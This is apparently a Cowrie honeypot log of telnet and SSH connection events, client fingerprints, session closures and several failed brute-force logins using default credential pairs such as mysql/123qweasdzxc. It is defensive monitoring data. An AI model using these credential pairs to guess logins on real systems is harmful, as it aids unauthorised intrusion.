{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60426,"dst_ip":"10.17.0.5","dst_port":23,"session":"da7daba7b3e7","protocol":"telnet","message":"New connection: 5.61.90.139:60426 (10.17.0.5:23) [session: da7daba7b3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:49.681731Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60428,"dst_ip":"10.17.0.5","dst_port":23,"session":"5282bad5bac8","protocol":"telnet","message":"New connection: 5.61.90.139:60428 (10.17.0.5:23) [session: 5282bad5bac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:49.944894Z"}
{"eventid":"cowrie.session.closed","duration":41.07242941856384,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:52.713961Z","src_ip":"5.61.90.139","session":"61c06e853262","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59648,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc7d673f18e4","protocol":"ssh","message":"New connection: 159.203.92.129:59648 (159.203.135.109:22) [session: fc7d673f18e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:53.627695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:53.631619Z","src_ip":"159.203.92.129","session":"fc7d673f18e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:53.635239Z","src_ip":"159.203.92.129","session":"fc7d673f18e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:53.644814Z","src_ip":"159.203.92.129","session":"fc7d673f18e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:36:54.665531Z","src_ip":"159.203.92.129","session":"fc7d673f18e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.5385537147522,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:02.759940Z","src_ip":"5.61.90.139","session":"e2a5b0ca5025","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60438,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f7631748aeb","protocol":"telnet","message":"New connection: 5.61.90.139:60438 (10.17.0.5:23) [session: 6f7631748aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:02.791117Z"}
{"eventid":"cowrie.session.closed","duration":39.9539110660553,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:03.540455Z","src_ip":"5.61.90.139","session":"4b6aafc4e11c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.175.143.96","src_port":40522,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e5884e2dc51","protocol":"telnet","message":"New connection: 45.175.143.96:40522 (159.203.135.109:23) [session: 3e5884e2dc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:03.817774Z"}
{"eventid":"cowrie.session.closed","duration":14.71839451789856,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:03.959899Z","src_ip":"125.228.89.90","session":"42995e8765f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.55366063117981,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:06.168123Z","src_ip":"5.61.90.139","session":"ad7e4c2878d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.117.151","src_port":50538,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dbcd9a89702","protocol":"telnet","message":"New connection: 157.49.117.151:50538 (159.203.135.109:23) [session: 0dbcd9a89702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:11.371748Z"}
{"eventid":"cowrie.session.closed","duration":44.249366760253906,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:12.072015Z","src_ip":"5.61.90.139","session":"ba9403b75a08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.422850847244263,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:16.240534Z","src_ip":"45.175.143.96","session":"3e5884e2dc51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60446,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dc5725e77ca","protocol":"telnet","message":"New connection: 5.61.90.139:60446 (10.17.0.5:23) [session: 3dc5725e77ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:16.556578Z"}
{"eventid":"cowrie.session.closed","duration":38.21331191062927,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:18.720496Z","src_ip":"5.61.90.139","session":"5a8d71fcc7e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.326502323150635,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:22.237001Z","src_ip":"5.61.90.139","session":"f197d65e1fc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.436383724212646,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:23.808048Z","src_ip":"157.49.117.151","session":"0dbcd9a89702","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.818575382232666,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:24.141599Z","src_ip":"5.61.90.139","session":"7ca8adb88cac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.379465103149414,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:25.500320Z","src_ip":"5.61.90.139","session":"c61af555fae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.52895426750183,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:28.093903Z","src_ip":"5.61.90.139","session":"2d95afd32d94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00157046318054,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:28.916635Z","src_ip":"146.120.225.17","session":"c0c45b237ef4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.68285846710205,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:29.053490Z","src_ip":"5.61.90.139","session":"c088a669c714","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.50816822052002,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:29.452941Z","src_ip":"5.61.90.139","session":"5282bad5bac8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.827800035476685,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:29.509447Z","src_ip":"5.61.90.139","session":"da7daba7b3e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.120.225.17","src_port":59880,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c0da7458b5b","protocol":"telnet","message":"New connection: 146.120.225.17:59880 (10.17.0.5:23) [session: 9c0da7458b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:29.919457Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":56706,"dst_ip":"159.203.135.109","dst_port":22,"session":"75cd11d9ceba","protocol":"ssh","message":"New connection: 80.253.31.232:56706 (159.203.135.109:22) [session: 75cd11d9ceba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:30.295053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:30.300412Z","src_ip":"80.253.31.232","session":"75cd11d9ceba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:30.429139Z","src_ip":"80.253.31.232","session":"75cd11d9ceba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123qweasdzxc","message":"login attempt [mysql/123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:30.975755Z","src_ip":"80.253.31.232","session":"75cd11d9ceba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:32.107410Z","src_ip":"80.253.31.232","session":"75cd11d9ceba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60456,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee040b722579","protocol":"telnet","message":"New connection: 5.61.90.139:60456 (10.17.0.5:23) [session: ee040b722579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:37.499154Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42444,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6a3226bdb69","protocol":"ssh","message":"New connection: 159.203.92.129:42444 (159.203.135.109:22) [session: d6a3226bdb69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:38.712507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:38.717157Z","src_ip":"159.203.92.129","session":"d6a3226bdb69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:38.723425Z","src_ip":"159.203.92.129","session":"d6a3226bdb69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airoot","password":"111111","message":"login attempt [airoot/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:38.737030Z","src_ip":"159.203.92.129","session":"d6a3226bdb69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:39.743512Z","src_ip":"159.203.92.129","session":"d6a3226bdb69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.48563575744629,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:42.276634Z","src_ip":"5.61.90.139","session":"6f7631748aeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60462,"dst_ip":"10.17.0.5","dst_port":23,"session":"c394403e8b8a","protocol":"telnet","message":"New connection: 5.61.90.139:60462 (10.17.0.5:23) [session: c394403e8b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:51.634010Z"}
{"eventid":"cowrie.session.closed","duration":38.95710635185242,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:37:55.513535Z","src_ip":"5.61.90.139","session":"3dc5725e77ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60472,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4d9822074a6","protocol":"telnet","message":"New connection: 5.61.90.139:60472 (10.17.0.5:23) [session: c4d9822074a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:01.543566Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60474,"dst_ip":"10.17.0.5","dst_port":23,"session":"534aead99850","protocol":"telnet","message":"New connection: 5.61.90.139:60474 (10.17.0.5:23) [session: 534aead99850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:01.761407Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60476,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd717420523e","protocol":"telnet","message":"New connection: 5.61.90.139:60476 (10.17.0.5:23) [session: fd717420523e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:07.362043Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60478,"dst_ip":"10.17.0.5","dst_port":23,"session":"4319ada282e8","protocol":"telnet","message":"New connection: 5.61.90.139:60478 (10.17.0.5:23) [session: 4319ada282e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:09.493845Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":59718,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2f1d4a953ab","protocol":"ssh","message":"New connection: 80.253.31.232:59718 (159.203.135.109:22) [session: f2f1d4a953ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:15.815784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:15.821934Z","src_ip":"80.253.31.232","session":"f2f1d4a953ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:15.941490Z","src_ip":"80.253.31.232","session":"f2f1d4a953ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123321","message":"login attempt [postgres/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:16.452923Z","src_ip":"80.253.31.232","session":"f2f1d4a953ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:17.575739Z","src_ip":"80.253.31.232","session":"f2f1d4a953ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.915884017944336,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:19.414931Z","src_ip":"5.61.90.139","session":"ee040b722579","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58374,"dst_ip":"159.203.135.109","dst_port":22,"session":"1284d2c9dd80","protocol":"ssh","message":"New connection: 159.203.92.129:58374 (159.203.135.109:22) [session: 1284d2c9dd80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:23.786934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:23.791274Z","src_ip":"159.203.92.129","session":"1284d2c9dd80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arc